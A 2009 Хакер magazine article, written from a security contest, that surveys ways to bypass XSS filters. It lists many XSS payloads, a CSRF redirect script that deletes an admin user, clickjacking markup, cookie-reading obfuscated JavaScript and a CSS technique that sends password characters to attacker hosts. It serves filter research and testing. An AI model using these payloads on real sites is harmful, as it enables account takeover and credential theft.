Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 130, ОКТЯБРЬ 2009 г.

Сказки XSSахиризады. 1000 и 1 способ обойти XSS-фильтр

Владимир «d0znp» Воронцов (http://oxod.ru)

Я не перестаю удивляться этому миру! Если бы две недели назад кто-нибудь сказал мне, что я буду писать статью в ][, посвященную межсайтовому скриптингу – я бы рассмеялся и попросил этой чудной лебеды.Но жизнь на то и жизнь, чтобы не поддаваться прогнозам, а в твоих руках сейчас материальное доказательство этого факта. Не торопись пролистывать статью! Как показала практика, даже опытные специалисты при написании фильтров не учитывают множества вариантов, ограничиваясь лишь тем, что можно найти на ha.ckers.org/xss.html.

29 августа, 12:00, Питер

В рамках фестиваля Chaos Construction 2009 стартует конкурс Realtime Bitrix WAF Hack. Организаторы – «1С-Битрикс» и Possitive Technologies. Смысл затеи – протестировать фильтр проактивной защиты WebApplicationFirewall. Эта штуковина обрабатывает данные, поступающие от пользователя (http-заголовки и GPC) на предмет наличия в них SQL-injection, XSS, LFI и RFI. Задача конкурсантов – обойти фильтр и показать пример одной из стандартных видов атаки. Сайт заведомо содержит уязвимости, но пользовательские данные фильтруются WAF. Меня привлекает эксплуатация XSS только потому, что для конкурса Hack-Video я нашел XSS-уязвимость в поле Referer боевого «Битрикса» версии 8.0.5. Банальные ><script> и onMouse* я уже попробовал дома, так что начинаю рыться в памяти и пробую варианты похитрее. Довольно скоро нахожу первый вариант атаки, минут через 30 второй. Получается, что через фильтр проходят следующие строки:

<style>
@\69\6D\70\6F\72\74 url(http://onsec.ru/xss.css);
</style>

style=onsec:e&#92xp&#92re&#92s&#92s&#92i&#92o&#92n(alert(‘XSS’))

Эти варианты проверяю под IE 7. Как потом оказалось, второй еще и обходит встроенный фильтр XSS IE8. На улице стоит более чем хорошая погода для августовского Питера, –поэтому на большее меня не хватает. Вечером следующего дня выясняется, что мои попытки были самыми плодотворные из всех. Этот факт меня не перестает удивлять до сих пор, и именно он является основой причиной написания данной статьи.

7 сентября, 01:00, Москва

Немного отойдя от произошедшего и получив в награду HTC-шку от «Битрикс», я понял, что меня гложет интерес найти еще что-нибудь в пресловутом WAF (затратив на поиски не 40 минут, а хотя бы полтора часа). К этому времени фильтр уже залатали, style теперь не пропускает ни в виде тэга, ни в виде атрибута. Фокус с escape-кодированием тоже не проходит, равно как и &#92. Спокойно читаю спецификацию на браузеры и нахожу приятную возможность использовать behavior под IE, которой так и не сумел воспользоваться на СС09 ввиду отсутствия локального файла нужного контента:

<P STYLE="b&#92eh&#92a&#92v&#92i&#92o&#92r:url('#default#time2')" onEnd="alert('ONSEC.ru russian security team')">

В моей версии фильтра она уже не работает, но на конкурсе была бы как раз в тему. Затем нашлась еще одна нефильтруемая XSS:

<MARQUEE BEHAVIOR="alternate" onbounce="alert(‘ONSEC.ru’)">xss</MARQUEE>

или

<MARQUEE onstart="alert(‘ONSEC.ru’)">xss</MARQUEE>

В отличие от behavior такое работает и в IE8, и в FF 3.5. После этого от «несистемного» подхода к поиску уязвимостей я отказываюсь. Формализую задачу поиска возможных XSS до поиска нефильтруемых тэгов, атрибутов и значений атрибутов.

Атрибуты

С точки зрения хакера наиболее интересны атрибуты событий (Events), потому что это прямой способ к выполнению JavaScript кода без тэга <script>. Более того, для браузеров совершенно эквиваленты следующие варианты:

<a href=”” onMouseMove=”alert(1)”>
<a href=”” onMouseMove=”javascript:alert(1)”>
<a href=”” onMouseMove=”xakep:alert(1)”>
<a href=”” onMouseMove=”nonxss:alert(1)”>

Это точно работает и в IE 8, Opera 10.00, Firefox 3.5, Safari, Chrome. Как думаешь, все фильтры имеют правильные регулярные выражения под такие строки? Большинство действительно имеют, поэтому просто намотаем на ус и двинемся дальше.

У атрибутов событий три недостатка:

  1. Вызов происходит после чего-то, и это «что-то» часто требует каких-то действий со стороны пользователя.
  2. Все атрибуты событий начинаются на «on», – что теоретически позволяет написать регулярное выражения под них всех.
  3. Обычно они применимы только к определенным тэгам.

Расстраиваться тут незачем - еще ни один фильтр не имеет регулярного выражения под все события сразу. Связано это, прежде всего, с ложными срабатываниями, но об этом позже. Так что – фильтруются обычно конкретные события, и тут из-за собственной лени программисты забывают прочитать спецификации браузеров или хотя бы MSDN, ограничиваясь двумя-тремя, в лучшем случае десятью событиями. А сколько их на самом деле? На этот вопрос я тоже хотел бы знать ответ, но для его получения требуется, как минимум, собрать вместе все версии всех существующих браузеров и расковырять их, потому что в документации тоже не всегда описано все. Ниже я приведу наиболее полный список, который мне удалось собрать буквально по крупицам:

Onabort; onactivate; onafterprint; onafterupdate; onbeforeactivate; onbeforecopy; onbeforecut; onbeforedeactivate; onbeforeeditfocus; onbeforepaste; onbeforeprint; onbeforeunload; onbeforeupdate; onblur; onbounce; oncellchange; onchange; onclick; oncontextmenu; oncontrolselect; oncopy; oncut; ondataavailable; ondatasetchanged; ondatasetcomplete; ondblclick; ondeactivate; ondrag; ondragdrop; ondragend; ondragenter; ondragleave; ondragover; ondragstart; ondrop; onerror; onerrorupdate; onfilterchange; onfinish; onfocus;
onfocusin; onfocusout; onhashchange; onhelp; onkeydown; onkeypress; onkeyup; onlayoutcomplete; onload; onlosecapture; onmessage; onmousedown; onmouseenter; onmousemove; onmouseout; onmouseover; onmouseup; onmove; onmoveend; onmovestart;
onoffline; ononline; onpage; onpaste; onprogress; onpropertychange; onreadystatechange; onreset; onresize; onresizeend; onresizestart; onrowenter; onrowexit; onrowsdelete; onrowsinserted; onscroll; onselect; onselectionchange; onselectstart; onstart; onstop;
onstorage; onstoragecommit; onsubmit; ontimeerror; ontimeout; onunload;
onend; onMediaComplete; onMediaError; onOutOfSync; onPause; onRepeat;
onResume; onReverse; onSeek; onSynchRestored; onTrackChange; onURLFlip.

Ну что, несколько больше чем ты ожидал? Это еще даже не весь список того, что я собрал, некоторые куски потерялись ;). Потенциально каждая строчка из этого списка – XSS-уязвимость. Но, во-первых, не всегда удается «прислонить» ее к нужному атрибуту, а во-вторых, не всегда удается спровоцировать нужное для выполнения кода действие. Наряду с событиями для XSS-атаки могут использоваться и другие атрибуты. Вот известные мне:

codebase
dynsrc
lowsrc
xmlns
seekSegmentTime
src
style

Не все из них тривиально могут быть использованы, однако, когда исследуешь фильтр, не знаешь заранее ничего и надо собрать как можно больше нефильтруемых исключений, чтобы потом из них уже готовить конкретную атаку.

Теги

Предположим, фильтр дает возможность выводить на страницу символы <>, таким образом, можно пробовать различные теги. Здесь опять разработчики оставляют хакерам поле для действий. Вот список тегов, которые пригодятся:

Style
Script
Embed
Object
Applet
Meta
Iframe
Frame
Frameset
Ilayer
Layer
Bgsound
Base
Xml
Import
Link
Html
Img

Я не включаю сюда тот же <MARQUEE>, хотя выше сам приводил атаку с его помощью. Делаю это умышленно – по той же логике можно было включить сюда вообще все теги HTML. Также в этом списке есть архаизмы вроде <ilayer>, – я даже не берусь сказать, начиная с каких версий, популярные браузеры перестали его поддерживать. Однако не забывай: XSS - это игра с браузером и не надо пренебрегать любой возможностью. Если хакер ставит перед собой цель получить пользу от XSS-атаки, он обязательно сделает вредоносный код комбинированным, включит несколько тегов под разные версии разных браузеров. Пригодится ссылка www.browsertests.org, – там можно найти результаты тестирования многих атрибутов и тегов в различных браузерах.

CSRF, или Не JavaScript’ом единым

Кроме выполнения JavaScript (ну или того же VBScript) кода, схожие атаки могут применяться для отправки запросов без ведома пользователя. Они получили название Cross-Site Request Forgery. Самый тривиальный способ - <img src=http://megasite.ru/mygetrequest?mygetparam=value>. При обработке такого тега внутри любой HTML-страницы браузер пользователя сразу полезет искать картинку по адресу, то есть отправит туда HTTP GET запрос. Таким образом, можно, например, попробовать отправить запрос к админке, если она такая небезопасная, что принимает GET. Администратор заходит на страницу и его браузер лезет искать картинку, отправляя запрос административному скрипту (разумеется, с правильными кукисами администратора и от его IP-адреса). Если фильтруются расширения или ключевые слова запроса - не беда. Такая «защита» выеденного яйца не стоит. Согласно спецификации http-протокола, статус 3хх говорит о перемещении контента и надо послать запрос на указанный адрес. Создаем скрипт img.php (можно и img.gif, настроив свой веб-сервер соответствующим образом) следующего содержания:

<?php
header('Location: http://attacked-host/admin.php?act=delUser&id=1');
die();
?>

– и получаем ровным счетом то же самое. Таким образом, все, что позволяет вставлять свои картинки в сообщения подходит для атаки. Тут я немного лукавлю, потому что веб-приложение может запросить байты твоего «рисунка» и прогнать их через графическую библиотеку, например LibGD. Тогда такой способ не пройдет. Впрочем, подобных веб-приложений очень мало. Но это еще легко. Если есть JavaScript – можно работать с DOM-объектами, например, отправлять формы. Это, как минимум, дает уже POST-запрос. Просто создаешь document.write нужные объекты form, input и все остальное где-нибудь в невидимом div, а потом делаешь document.myform.submit(). Еще можно отправить POST-запрос через встроенные объекты window.ActiveXObject для InternetExplorer и window.XMLHttpRequest для Mozilla, Safari, Chrome. Универсальный JavaScript будет примерно таким:

function makePOSTRequest(url, parameters) {
http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,...
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
// set type accordingly to anticipated content type
//http_request.overrideMimeType('text/xml');
http_request.overrideMimeType('text/html');
}
} else if (window.ActiveXObject) { // IE
try {
http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
http_request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {}
}
}
if (!http_request) {
return false;
}
http_request.onreadystatechange = alertContents;
http_request.open('POST', url, true);
http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http_request.setRequestHeader("Content-length", parameters.length);
http_request.setRequestHeader("Connection", "close");
http_request.send(parameters);
}

Но самый веселый вариант, который мне попался, распечатывает картинку на принтере. Атака выглядит следующим образом:

<img src=’myprinter:9100/Printed_from_the_web/>

Это, конечно, концепция, но с помощью JavaScript и POST-запроса печать действительно получится.

Clickjacking

Это относительно новая и интересная техника. Суть проста, как помидор – атакуемый сайт подгружается как подложка под какой-нибудь другой слой, например, игру типа «попади мышкой». Пользователь щелкает по движущейся мишени, нажимая на реальные кнопки атакуемого сайта, который он не видит. Реализовать такое можно и с помощью Flash и с помощью CSS. Вот вариант от David Ross:

iframe,frame,object,applet {
border:1px solid #000 !important;
visibility:visible !important;
opacity: 1 !important;
filter: alpha(opacity=100) !important;
position:absolute !important;
float:none !important;
overflow:auto !important;
....
}

Или вот – от его же банды – с помощью html и стилей:

<html>
<head>
</head>
<body>
<image ISMAP style="position:absolute;width:100%;height:100%;" onmousedown="this.style.display='none'">
<iframe src="http://www.microsoft.com" id=x type=text/html width=500 height=500 codetype=text/html id=x></iframe></image>
</button>
</body>
</html>

Тут я задерживаться особо не буду. Возьми на заметку, если что непонятно – в Сети много материалов на эту тему. Я же продолжу повествование именно о методах обхода фильтров.

Будь стильным! Использование CSS2 и CSS3 для XSS

Прежде всего, упомяну заезженные вещи. Для Internet Explorer существует способ выполнять JavaScript с помощью функции expression(). В качестве аргумента ей передается сам скрипт. Пример реализации – в самом начале статьи.

Чуть менее заезженный прием для IE – использование behavior. Проблема в том, что можно подключить только файл, расположенный на том же домене. Вот HTML:

<div style=”behavior: url(“/file.htc”)

Содержимое подключаемого файла примерно следующее:

<attach event="ondocumentready" handler="parseStylesheets" />
<script language="JavaScript">
function parseStylesheets() {
alert(document.cookie+'\nONSEC.ru security research team')
}
</script>

Есть небольшой положительный момент – такую конструкцию можно засунуть внутрь другого HTML; IE распознает там все, что нам надо и выполнит. Таким образом, есть возможность использоваться как бы два XSS кряду и вызвать какую-нибудь административную javascript-функцию. Сейчас расскажу более подробно.

Предположим, есть сайт с уязвимостью XSS и фильтром, который фильтрует script, но пропускает behavior. Для наглядности, – пусть существует уязвимость в админке и в поиске, но все варианты XSS, кроме behavior, не работают. Предлагаю вот такой «двойной» вектор:
http://xssed-site.com/search/q=<div style=”behavior: url(http://xssed-site.com/admin/q=<attach event="ondocumentready" handler="delUser(1)"/>)>

Тут мы подключаем к странице поиска страницу админки, где также присутствует XSS. При этом привязываем функцию delUser(1) (еще раз повторю, эта не наша функция, а функция самой админки) к событию ondocumentready. Все на одном домене, и такой код отработает!
Едем дальше. Для движка мозиллы есть такая штуковина, как –moz-binding: url(http://hackme.com/bindme.xml#xss). Это позволяет подключить внешний XML, внутри которого будет содержаться JavaScript. Вот пример такого XML-файла:

<bindings xmlns="http://www.mozilla.org/xbl" xmlns:html="http://www.w3.org/1999/xhtml">

<binding id="xss">
<implementation>
<constructor>
alert("XSS");
</constructor>
</implementation>
</binding>

</bindings>

Есть одна маленькая загвоздка – прием не будет работать в FF3.5. Покончив с особенностями браузеров, переходим к особенностям самого CSS. Начнем, конечно, с инклудов. С точностью до представления кода синтаксис выглядит вот так:

<style>
@import “http://xakepsite.com/xss.css”
</style>

Ну, а уже внутри этого безобразия можно скрыть все, что упомянуто выше. Ничего сверхъестественного – все согласно документации :).
Теперь чуть веселее – чтение значений тегов посредством чистого CSS3. Для примера, у нас имеется input, в который пользователь вводит пароль. Прикручиваем CSS с содержанием:

input[value*=“\x10”]{
background:url(“//xakepsite.com/?h=\x10”);
}

… и так далее …
input[value*=“\x7F”]{
background:url(“//attacker.com/?h=\x7F”);
}

Что это дает? Каждый раз, когда символ пароля попадает в диапазон 10-7F, отсылается соответствующий запрос. Таким образом, по выходу у нас будут все символы пароля. Останется только расположить их в нужном порядке. В реальной жизни диапазон в 111 символов можно расширить, а с помощью асинхронных включений CSS восстановить и последовательность символов. Тут я останавливаться не буду, пример реализации - eaea.sirdarckcat.net/cssar.

data:text/html

Популярный в последнее время прием обхода фильтров. Главное преимущество – поддержка base64-формата. Таким образом, внутреннее выражение фильтрам подвержено заведомо не будет. Реализации, например, такие:

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"></iframe>

<FRAMESET><FRAME SRC="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"></FRAMESET>
<OBJECT TYPE="text/x-scriptlet" DATA="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"></OBJECT>

Также прекрасно выполняется в адресной строке браузера. Работает везде, кроме Internet Explorer. Помимо text/html можно использовать вариации на тему.

«Обфускация» кода

Браузеры по-разному обрабатывают HTML – это ни для кого не секрет. Используя те или иные особенности, можно приводить рабочий код к состоянию, когда он не попадает под регулярные выражения фильтров. Природе известны многие варианты, например:

<p/alt="noxss"onmouseover=alert(/XSS/)>test</p>

Работает в Opera 10, IE 8, FF 3.5, но не понимается Chrome и Safari.

<style>@\69\6d\70\6f\72\74 '//xakep-site.com/xss.css';</style>

<p style="f&#92;iltere&#92;d: va&#92;lue"/>

<div style=f\il\te\r\ed:val\ue></div>

<div style=xss:\65\78\70\72\65\73\73\69\6f\6e\28\61\6c\65\72\74\28\31\29\29></div>

<div
style=xss:&#92&#54&#53&#92&#55&#56&#92&#55&#48&#92&#55&#50&#92&#54
&#53&#92&#55&#51&#92&#55&#51&#92&#54&#57&#92&#54&#102&#92&#54
&#101&#92&#50&#56&#92&#54&#49&#92&#54&#99&#92&#54&#53&#92&#55
&#50&#92&#55&#52&#92&#50&#56&#92&#51&#49&#92&#50&#57&#92&#50&#57></div>

<!—xss:expression(alert(1))-->

Работает Opera 10, Chrome, Safari, IE 8, FF 3.5 (сам expression, естественно, отрабатывается только IE).Кроме того, есть прекрасная исследовательская работа по распознаванию тегов и атрибутов в InternetExplorer 6. Но так как она немного устарела, я не буду цитировать приемы оттуда. Если будет желание – найдешь ее на antichat.ru.

Предположим теперь ситуацию, что доступ к выполнению JavaScript получен, однако фильтр не пропускает нужные выражения вроде document.cookie, location.href, document.write и прочее. Тут расстраиваться незачем. Пока фильтр не имеет JavaScript-процессора, его всегда можно обойти средствами самого JavaScript. На прошедшей BlackHat 2009 был представлен интересный способ приведения кода к нефильтруемому виду – alert(1) заменяется на json-представление:

($=[$=[]][(____=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!”+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)

Ну, как, читаемо? А главное – все символы печатные. Этот пример я подробно разобрал в своей заметке: http://oxod.ru/2009/08/26/обход-xss-фильтров-по-средствам-особенос. А вот примерчик обхода фильтрации document.cookie от меня:

($=(”+([]['pop']))+”);(_=”+this);$$$ = _[11]+$[6]+$[3]+$[1]+’m'+$[20]+$[2]+$[4];$$_ = $[3]+$[6]+$[6]+”k”+$[5]+$[20];
alert(this[$$$][$$_])

Тут идея в том, что, приводя типы и значения переменных к строкам, мы получаем из них нужные символы для составления слов document и cookie. Естественно, ни один фильтр не справится с такой задачей, не имея возможности самому выполнять JavaScript.

Заключение

Надеюсь, было полезно! Хотел заострить внимание именно на XSS-фильтрах, которые в последнее время все чаще появляются на веб-серверах. При написании фильтров очень важно поймать грань между необходимым и излишним. И обязательно – проверить фильтр на ложные срабатывания, чтобы потом не пришлось разбираться с негодующими пользователями. Думаю, теперь стало очевидно, что отделаться десятью регулярными выражениями не выйдет. Вот вроде бы и все, призываю писать хорошие продукты и исследовать их с энтузиазмом. На вопросы отвечаю в блоге oxod.ru.

WWW

WARNING

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

Содержание
загрузка...
Журнал Хакер #151Журнал Хакер #150Журнал Хакер #149Журнал Хакер #148Журнал Хакер #147Журнал Хакер #146Журнал Хакер #145Журнал Хакер #144Журнал Хакер #143Журнал Хакер #142Журнал Хакер #141Журнал Хакер #140Журнал Хакер #139Журнал Хакер #138Журнал Хакер #137Журнал Хакер #136Журнал Хакер #135Журнал Хакер #134Журнал Хакер #133Журнал Хакер #132Журнал Хакер #131Журнал Хакер #130Журнал Хакер #129Журнал Хакер #128Журнал Хакер #127Журнал Хакер #126Журнал Хакер #125Журнал Хакер #124Журнал Хакер #123Журнал Хакер #122Журнал Хакер #121Журнал Хакер #120Журнал Хакер #119Журнал Хакер #118Журнал Хакер #117Журнал Хакер #116Журнал Хакер #115Журнал Хакер #114Журнал Хакер #113Журнал Хакер #112Журнал Хакер #111Журнал Хакер #110Журнал Хакер #109Журнал Хакер #108Журнал Хакер #107Журнал Хакер #106Журнал Хакер #105Журнал Хакер #104Журнал Хакер #103Журнал Хакер #102Журнал Хакер #101Журнал Хакер #100Журнал Хакер #099Журнал Хакер #098Журнал Хакер #097Журнал Хакер #096Журнал Хакер #095Журнал Хакер #094Журнал Хакер #093Журнал Хакер #092Журнал Хакер #091Журнал Хакер #090Журнал Хакер #089Журнал Хакер #088Журнал Хакер #087Журнал Хакер #086Журнал Хакер #085Журнал Хакер #084Журнал Хакер #083Журнал Хакер #082Журнал Хакер #081Журнал Хакер #080Журнал Хакер #079Журнал Хакер #078Журнал Хакер #077Журнал Хакер #076Журнал Хакер #075Журнал Хакер #074Журнал Хакер #073Журнал Хакер #072Журнал Хакер #071Журнал Хакер #070Журнал Хакер #069Журнал Хакер #068Журнал Хакер #067Журнал Хакер #066Журнал Хакер #065Журнал Хакер #064Журнал Хакер #063Журнал Хакер #062Журнал Хакер #061Журнал Хакер #060Журнал Хакер #059Журнал Хакер #058Журнал Хакер #057Журнал Хакер #056Журнал Хакер #055Журнал Хакер #054Журнал Хакер #053Журнал Хакер #052Журнал Хакер #051Журнал Хакер #050Журнал Хакер #049Журнал Хакер #048Журнал Хакер #047Журнал Хакер #046Журнал Хакер #045Журнал Хакер #044Журнал Хакер #043Журнал Хакер #042Журнал Хакер #041Журнал Хакер #040Журнал Хакер #039Журнал Хакер #038Журнал Хакер #037Журнал Хакер #036Журнал Хакер #035Журнал Хакер #034Журнал Хакер #033Журнал Хакер #032Журнал Хакер #031Журнал Хакер #030Журнал Хакер #029Журнал Хакер #028Журнал Хакер #027Журнал Хакер #026Журнал Хакер #025Журнал Хакер #024Журнал Хакер #023Журнал Хакер #022Журнал Хакер #021Журнал Хакер #020Журнал Хакер #019Журнал Хакер #018Журнал Хакер #017Журнал Хакер #016Журнал Хакер #015Журнал Хакер #014Журнал Хакер #013Журнал Хакер #012Журнал Хакер #011Журнал Хакер #010Журнал Хакер #009Журнал Хакер #008Журнал Хакер #007Журнал Хакер #006Журнал Хакер #005Журнал Хакер #004Журнал Хакер #003Журнал Хакер #002Журнал Хакер #001